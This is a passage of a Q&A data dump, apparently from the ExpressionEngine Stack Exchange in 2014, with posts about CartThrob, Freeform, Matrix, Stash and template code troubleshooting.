  <row Id="20850" PostTypeId="2" ParentId="20824" CreationDate="2014-03-31T17:09:56.343" Score="1" Body="&lt;p&gt;I would imagine NSM TinyMCE hasn't been updated to work with recent versions of EE. You may need to try another Wysiwyg fieldtype instead. There are a number of them out there.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-03-31T17:09:56.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20851" PostTypeId="1" CreationDate="2014-03-31T18:23:38.987" Score="1" ViewCount="71" Body="&lt;p&gt;I'm working on a site where the client needs to approve each order on the order_id level. They also need to be able to approve order items on the specific entry_id level as well. So if one item is not available for purchase, they can change the status of that item and still approve the order itself. For example, based on the image I've attached, the user would like to be able to look at this order and set a status for entry_id 24 to Approved and then set the status to Denied for entry_id 23.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this in the backend of Cartthrob via the control panel using statuses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ynZny.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2660" LastActivityDate="2014-04-30T21:56:37.900" Title="Updating Cartthrob Order Status on Entry Item Id Level" Tags="|cartthrob|status|orders|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20852" PostTypeId="2" ParentId="20836" CreationDate="2014-03-31T18:28:43.630" Score="1" Body="&lt;p&gt;There are a couple of different ways you could go about it, you could indeed use a P&amp;amp;T Switch or P&amp;amp;T Pill field in your channel then have something along the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;100&quot;}&#xA; {if logged_in_member_group == 4 &amp;amp;&amp;amp; professionals_switch == &quot;yes&quot;}&#xA;  {!-- show Professional items here --}&#xA;  {title} -- {price}&#xA; {/if}&#xA; {if professionals_switch == &quot;no&quot;}&#xA;  {!-- if you still want to show non-professional items to the professionals you will need to have it here. This will also show only non-professional items to other users --}&#xA;  {title} -- {price}&#xA; {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also do the same with checking a member group and to see if a category has been set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach should work without a problem if you are not using pagination or outputting the products in an ordered list since EE would actually be grabbing all of the products but only showing a portion based upon the conditionals being true which would have some pages resulting in less content or missing numbers.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-03-31T18:28:43.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20853" PostTypeId="2" ParentId="20593" CreationDate="2014-03-31T18:37:30.713" Score="1" Body="&lt;p&gt;Exporting;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;exp_channel_data&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;exp_channel_titles&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;and maybe exp_channel_entries_autosave&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Should get you there. Obviously back it all up first in case it goes horribly wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be to approach it the other way and install the add-on on the staging server and get them in synch that way. There may well be much less data to deal with.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-31T18:37:30.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20854" PostTypeId="1" AcceptedAnswerId="20858" CreationDate="2014-03-31T18:49:22.580" Score="0" ViewCount="44" Body="&lt;p&gt;My site is powered by Zoo Visitor.  I need to set up an &quot;at-a-glance&quot; checklist for the members on there so they can see what they've completed and what they still need to do.  It would be nice if they could check what they've completed, but the admin would also have the option via the CP.  So a sample list might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DUE DATE          TASK                      COMPLETE&#xA;5/1/14          Purchase movie ticket          [ ]&#xA;5/1/14          Arrange for hotel              [ ]&#xA;5/5/14          Call for transportation        [ ]  &#xA;5/7/14          Purchase soft drink            [ ]&#xA;5/7/14          Purchase t-shirt               [ ]&#xA;etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The list would be the same for all of the members, but obviously need to be separate for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I start working on creating a custom field, I wanted to make sure there wasn't something that would automatically take care of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any thoughts or ideas!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2014-03-31T21:28:48.287" Title="Creating a Member Checklist" Tags="|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20855" PostTypeId="2" ParentId="6539" CreationDate="2014-03-31T19:15:49.470" Score="1" Body="&lt;p&gt;The answers here didn't work for me, but a simple query does.  Just in case this helps soneone else...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;select variable_data from exp_global_variables where variable_name = '$glob_var' &quot;;&#xA;$results = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query($sql);&#xA;$row = $results-&amp;gt;first_row();  //returns an object&#xA;$global_var_value = $row-&amp;gt;variable_data;  //get result from property&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="968" LastActivityDate="2014-03-31T19:15:49.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20856" PostTypeId="2" ParentId="19513" CreationDate="2014-03-31T19:51:10.070" Score="2" Body="&lt;p&gt;Andris was close to the solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following code right above the switch statement. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`if (($context == 'grid' || $context == 'matrix') &amp;amp;&amp;amp; !empty($this-&amp;gt;var_id))&#xA;{&#xA;    $context = 'low';&#xA;}`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the 'low' case (around like 163) change the query to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`$sql .= &quot; ae.var_id = {$this-&amp;gt;var_id} AND ae.row_id = '{$this-&amp;gt;row_id}'&quot;;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now Low Variables knows what row to use. :)&lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2014-03-31T19:51:10.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20858" PostTypeId="2" ParentId="20854" CreationDate="2014-03-31T21:28:48.287" Score="0" Body="&lt;p&gt;A lot of it comes down to how you create the task list for the users.  Even though it is exactly the same for all members, will the items need to be changeable, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be as simple as a channel form that submits the yes/no on each task in their list with entries going to a channel for &quot;task statuses&quot; or something like that.  Presumably you need your members to be able to update the status of the tasks asynchronously and therefore have the ability to return and change the status on items?  Once they have submitted a status for an item as complete do they have the ability to edit it after that?  Or does a &quot;yes&quot; status make the item uneditable going forward (i.e. what if something is the list falls through, for example)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a more complex scenario, I've done something like this with each individual task status being an entry (rather than all in a single entry), with the update occurring with Ajax and a modal window.  That let me handle the status for each independently and take different actions accordingly, especially since in some cases my checklist wasn't limited to yes/no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you could accomplish this solidly with a channel form, but you'll have to map out the member interactions with the form a fair bit to determine which approach to editing will make the most sense.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-03-31T21:28:48.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20859" PostTypeId="1" AcceptedAnswerId="20873" CreationDate="2014-03-31T21:33:05.937" Score="0" ViewCount="156" Body="&lt;p&gt;I needed custom event grouping by category within a Solspace Calendar table. The only way I could find to do this was the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use {exp:stash:append_list} within {exp:calendar:cal} to store the events by category and day.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:append_list name=&quot;cal-day-events-{date format=&quot;%m&quot;}-{date format=&quot;%j&quot;}-{categories show_group=&quot;7&quot; limit=&quot;1&quot;}{category_id}{/categories}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use EE's native {exp:channel:calendar} in an embedded template with {exp:stash:get_list} to retrieve the events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good news is, it worked!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the page is so query intensive I'd like to do some caching to improve the speed of page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried use EE's native template caching to cache the entire template. It worked on the first load, but subsequent page loads showed no events. It seems that the stash + embedded template approach doesn't work with template caching. Turning it off fixed the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a better way to cache this data? Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2014-04-01T04:44:24.640" Title="How to cache Stash Data when EE native template caching doesn't work" Tags="|stash|solspace-calendar|cache|caching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20860" PostTypeId="2" ParentId="20851" CreationDate="2014-03-31T21:38:48.733" Score="1" Body="&lt;p&gt;I don't think there is an easy way to accomplish this natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you could try is saving a custom &quot;status&quot; item_option when adding to cart. Give it a value of &quot;pending&quot; or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is you'd have to type the status in manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the back end you could write a little add on that would replace the default order items input field with a select that has your statuses.&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2014-03-31T21:38:48.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20861" PostTypeId="2" ParentId="20833" CreationDate="2014-03-31T22:25:44.803" Score="3" Body="&lt;p&gt;This is why I buy Playa, from the &lt;a href=&quot;https://docs.expressionengine.com/latest/fieldtypes/relationships.html&quot; rel=&quot;nofollow&quot;&gt;relationship field docs&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Currently it is not possible to get the parents of a relationship field that is inside of a Grid field. You can also not use Relationships inside of a Grid field that does not store Channel data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2003" LastEditorUserId="2003" LastEditDate="2016-08-12T08:37:53.903" LastActivityDate="2016-08-12T08:37:53.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20863" PostTypeId="2" ParentId="14871" CreationDate="2014-03-31T23:33:30.220" Score="2" Body="&lt;p&gt;I had this same problem and after some head scratching, found that for some reason the other member groups didn't have file upload priviledges. So, check:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Content -&gt; Files -&gt; File Upload Preferences -&gt; Edit (select at least one location)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And check that at least one upload location allows the Member Groups to upload files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4qyZH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="142" LastActivityDate="2014-03-31T23:33:30.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20864" PostTypeId="2" ParentId="20845" CreationDate="2014-04-01T00:47:49.423" Score="1" Body="&lt;p&gt;Given your code all you should need to do is add the select attribute multiple.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select multiple=&quot;multiple&quot; name=&quot;product_size_chosen[]&quot; onChange=&quot;MM_jumpMenu('parent',this,1)&quot;&amp;gt; //product_size_chosen[] is freeform field//&#xA;{product_sizes_available} //This is the matrix wrap//&#xA;&amp;lt;option value=&quot;{product_size}&quot;&amp;gt;{product_size}&amp;lt;/option&amp;gt; //matrix field variable//&#xA;{/product_sizes_available} //End or matrix wrap&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-04-01T00:47:49.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20865" PostTypeId="1" AcceptedAnswerId="20879" CreationDate="2014-04-01T01:19:35.243" Score="2" ViewCount="92" Body="&lt;p&gt;Am updating an old EE site to a new server, I have had a few errors that seem strange that they worked on last server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ee v2.7.1&#xA;matrix 2.5.8&#xA;pages 2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to Addons &gt; Modules &gt; Pages&#xA;If I click on any of the pages links I get:&#xA;Fatal error: Call to undefined method Tools_model::get_upload_preferences() in /var/www/website/sys/expressionengine/third_party/matrix/celltypes/file.php on line 121&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone seen this as to where I would look to change the upload prefs or which thing might have a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the second site I am moving I get this msg in the dev log:&#xA;The system has detected an add-on that is using outdated code that may stop working or cause issues with the system. What does this mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deprecated function get_upload_preferences() called in /var/www/website/sys/expressionengine/third_party/matrix/celltypes/file.php on line 121.&#xA;Deprecated since 2.2. Use File_upload_preferences_model::get_file_upload_preferences() instead.&lt;/p&gt;&#xA;" OwnerUserId="2877" LastEditorUserId="2877" LastEditDate="2014-04-01T09:47:40.583" LastActivityDate="2014-04-01T10:43:56.830" Title="Matrix PHP preference error on Pages module admin" Tags="|matrix|pages|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20866" PostTypeId="1" CreationDate="2014-04-01T01:28:24.470" Score="0" ViewCount="676" Body="&lt;p&gt;I have a website I am moving to a ubuntu server from a windows server for a client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ee v2.7.1&#xA;freeform 3.1.5&#xA;matrix 2.5.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the contact form that was working on the other server but on this server that is not live I get this error. The form renders fine but when you submit you get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The form you submitted contained the following errors&#xA;&#xA;    You are not authorized to perform this action&#xA;&#xA;Return to Previous Page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I figure it could be a couple of things:&#xA;1) the site is not live and the old one is so this is just normal?&#xA;2) file permissions issue&#xA;3) user permission&#xA;4) scratching my head...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So any pointers on EE forms would be a help as I have not built one in about 4 years.&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2014-04-02T22:27:30.807" Title="Freeform sumit contact form : You are not authorized to perform this action" Tags="|solspace-freeform|forms|ee|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20867" PostTypeId="2" ParentId="20866" CreationDate="2014-04-01T02:35:52.590" Score="0" Body="&lt;p&gt;That's a generic error message.  It can be returned in a number of circumstances. EE purposely does not reveal what error you triggered so as not to aid evil-doers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this error when:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've submitted the same data more than once.&lt;/li&gt;&#xA;&lt;li&gt;I've submitted the same form without reloading the page (form hash being reused).&lt;/li&gt;&#xA;&lt;li&gt;I've submitted a form a long time after the page has loaded (form hash has expired).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are probably other operations that can trigger this error, many of them come down to the form hash. Can you inspect your source to see if there's a hash there as expected? Can you compare that value to those listed in the hash table?&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-04-01T02:35:52.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20868" PostTypeId="2" ParentId="20839" CreationDate="2014-04-01T02:56:18.980" Score="5" Body="&lt;p&gt;This is a known issue affecting Store 2.3.1 with PHP 5.3, and will be fixed in the next version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, if you need a quick fix, please replace &lt;code&gt;$this-&amp;gt;ee&lt;/code&gt; with &lt;code&gt;ee()&lt;/code&gt; on lines 37 and 38 of &lt;code&gt;third_party/store/src/Store/Tag/SearchTag.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-04-01T02:56:18.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20869" PostTypeId="1" CreationDate="2014-04-01T03:18:41.827" Score="0" ViewCount="33" Body="&lt;p&gt;Friends member loop doesn't recognize friends_absolute_results, however it does recognize friends_total_results. I am using pagination, so I want it to say &quot;total_results&quot; out of &quot;absolute_results&quot;. How do I go about this?&lt;/p&gt;&#xA;" OwnerUserId="2802" LastActivityDate="2014-04-01T03:18:41.827" Title="absolute_results for friends:members loop" Tags="|solspace|solspace-friends|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20870" PostTypeId="1" AcceptedAnswerId="21611" CreationDate="2014-04-01T04:26:30.580" Score="2" ViewCount="794" Body="&lt;p&gt;I would like to use a custom playa field as a search parameter in my EE channel entries tag, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;                        channel=&quot;media_images&quot; &#xA;                        search:media_v_location=&quot;Denver&quot;&#xA;                        status=&quot;open&quot; &#xA;                        dynamic=&quot;no&quot;&#xA;                        disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;                    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the field set as searchable. I presume I should be passing in the {title} of the entry and not the {entry_id}?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-05-02T15:16:37.723" Title="Can I use a PLAYA field as a search parameter in channel entries tag" Tags="|channel-entries|playa|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20872" PostTypeId="1" CreationDate="2014-04-01T04:39:25.357" Score="1" ViewCount="13" Body="&lt;p&gt;I have a blog listing page. Under each of the 10 entries listed I would like to show how many likes that article has. Is there a way to do this with Facebook Connect Addon?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-04-01T08:52:58.817" Title="Solspace Facebook Connect: Load Likes for a page" Tags="|solspace-facebookconnect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20873" PostTypeId="2" ParentId="20859" CreationDate="2014-04-01T04:44:24.640" Score="1" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Caching&quot; rel=&quot;nofollow&quot;&gt;caching options&lt;/a&gt; available with stash. See &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Mustash&quot; rel=&quot;nofollow&quot;&gt;Mustash&lt;/a&gt; for cache breaking rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most basic option here would be to cache the lists when creating them with append list. You might also consider using set_list tags instead of append_list where possible as they will be more efficient (that's my understanding at least)&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-04-01T04:44:24.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20875" PostTypeId="2" ParentId="20872" CreationDate="2014-04-01T08:52:58.817" Score="1" Body="&lt;p&gt;You can simply put a facebook like button on each article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/facebook_connect/fb_like_button/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/facebook_connect/fb_like_button/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will show a count. I don't know if there is a way to get a count without showing the like button though. I suspect facebook wouldn't want you to do that.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-04-01T08:52:58.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20876" PostTypeId="1" AcceptedAnswerId="20951" CreationDate="2014-04-01T10:16:29.757" Score="2" ViewCount="95" Body="&lt;p&gt;Is it possible to edit / add to the entry Statuses in Freeform or can I only select from the default Pending, Open and Closed?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2014-05-03T01:19:03.957" Title="Editing Freeform entry statuses" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20879" PostTypeId="2" ParentId="20865" CreationDate="2014-04-01T10:43:56.830" Score="1" Body="&lt;p&gt;You're running Matrix 2.5.8. In the &lt;a href=&quot;http://docs.pixelandtonic.com/matrix/changelog.html&quot; rel=&quot;nofollow&quot;&gt;Matrix Changelog&lt;/a&gt; for Matrix 2.5.9 (released 5 months ago) is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed a PHP error that could occur when a new File cell was saved for the first time&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I suggest updating to the latest version (currently 2.5.10). In general, it's a good idea to update to the latest version of any software if you run into a PHP error, as these are often quickly caught and fixed by the developers.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-04-01T10:43:56.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20880" PostTypeId="1" AcceptedAnswerId="20940" CreationDate="2014-04-01T10:44:06.163" Score="1" ViewCount="59" Body="&lt;p&gt;Is there a way to set the min order qty for a category? E.G. A customer can only order 5 products in category A; either the same product or 5 different products in the same category.&lt;/p&gt;&#xA;" OwnerUserId="2912" LastActivityDate="2014-06-02T00:37:00.627" Title="Is is possible to set a minimum order quantity for a category" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20881" PostTypeId="1" CreationDate="2014-04-01T11:30:50.737" Score="2" ViewCount="218" Body="&lt;p&gt;I've set up a fabric shop, which requires free sample purchasing. I've implemented this without issue using on the fly products for each fabric. However, the client now requires that after x amount of samples have been added (across all products) each additional sample should be charged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent several days trawling the developer docs &amp;amp; internet trying to find a solution, but so far it has eluded me. Can you please confirm the correct procedure for modifying a dynamic products price which is already in the cart. I've looked at the cartthrob_update_cart_end hook and $this-&gt;core-&gt;cart - but can't seem to figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2913" LastActivityDate="2014-06-13T18:00:57.107" Title="Cartthrob - Changing prices in the cart via Hook." Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20882" PostTypeId="2" ParentId="19064" CreationDate="2014-04-01T11:59:56.717" Score="1" Body="&lt;p&gt;I believe this was caused by caching issues in an old version of Store (the shipping API response was cached too long, which meant customers sometimes saw a shipping price which didn't reflect changes in the cart). This was fixed in Store 2.2.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/release_notes.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/release_notes.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-04-01T11:59:56.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20883" PostTypeId="1" CreationDate="2014-04-01T12:25:31.827" Score="1" ViewCount="44" Body="&lt;p&gt;I want to check if there are any channel field entries so something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;vacancies&quot; author_id=&quot;{logged_in_member_id}&quot;}&#xA;&#xA;{if count==0}&#xA;there are no entries in this channel&#xA;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there are count, rows or total_rows variables I can use?&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-04-02T07:14:26.937" Title="counting channel field rows" Tags="|channel-entries|entries|loop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20884" PostTypeId="2" ParentId="20883" CreationDate="2014-04-01T12:33:21.880" Score="2" Body="&lt;p&gt;Almost there, take a look at the available parameters and variables, here:&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;vacancies&quot; author_id=&quot;CURRENT_USER&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;{if no_results}&#xA;there are no entries in this channel&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When using CURRENT_USER it only works if the visitor is logged in (see user guide)&lt;br&gt;&#xA; so you probably also want to check {if logged_in} or {if logged_out}.&lt;br&gt;&#xA;The {if_no_results} conditional is a dedicated conditional for this purpose.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;author_id=CURRENT_USER&lt;/strong&gt; the logged_in_member_id is parsed late,&lt;br&gt;&#xA;therefore this special parameter setting is available: current_user.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;dynamic=no&lt;/strong&gt; prevent the system from interpreting and acting on the url segments&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;limit=1&lt;/strong&gt; no need to for more entries&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-04-02T07:14:26.937" LastActivityDate="2014-04-02T07:14:26.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20885" PostTypeId="1" CreationDate="2014-04-01T12:53:49.110" Score="2" ViewCount="91" Body="&lt;p&gt;I've got a weird problem regarding the application of tax when checking out on a Cartthrob site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site sells Books and DVDs. Books are zero-rated and so don't have any tax applied. DVDs are charged with 20% VAT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine until you try to checkout with both a taxable and a non-taxable item in your basket (let's say 1 book and 1 DVD). This is where it gets odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you added the book first (or at least it's the first item in the basket) then VAT is calculated correctly and you are only charged VAT on the DVD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you added the DVD first, the checkout total is calculated incorrectly. VAT is applied to both items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is using a multi-class tax plugin that doesn't appear to be in the default Cartthrob distribution but was supplied by Chris from Barrett Newton. I'm guessing that this is where the problem lies but I have so far been unable to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else seen this problem and have a way to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just noticed that the Cartthrob Multi-Location extension wasn't enabled which I guess &lt;em&gt;could&lt;/em&gt; be the cause of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I try to enable it I get the following PHP Notice and Fatal error.&#xA;The Extensions list will then no longer display.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Undefined property: EE_Loader::$table&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: addons/extensions.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 24  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: Call to a member function set_heading()&#xA;  on a non-object in&#xA;  /testsite/public_html/eesystem/expressionengine/views/addons/extensions.php&#xA;  on line 24&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent a bit of time studying the tax_by_class plugin last night and have concluded that it is fundamentally flawed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forgive my non-technicality here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the method concerned&lt;/p&gt;&#xA;&#xA;&lt;p&gt;public function get_tax($price)&#xA;    {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = func_get_args();&#xA;if (count($args) &amp;gt; 1 &amp;amp;&amp;amp; isset($args[1]) &amp;amp;&amp;amp; is_object($args[1]))&#xA;{&#xA;    $item = $args[1]; &#xA;&#xA;    $prefix = ($this-&amp;gt;core-&amp;gt;store-&amp;gt;config('tax_use_shipping_address')) ? 'shipping_' : '';&#xA;&#xA;    foreach ($this-&amp;gt;plugin_settings('tax_settings', array()) as $tax_data)&#xA;    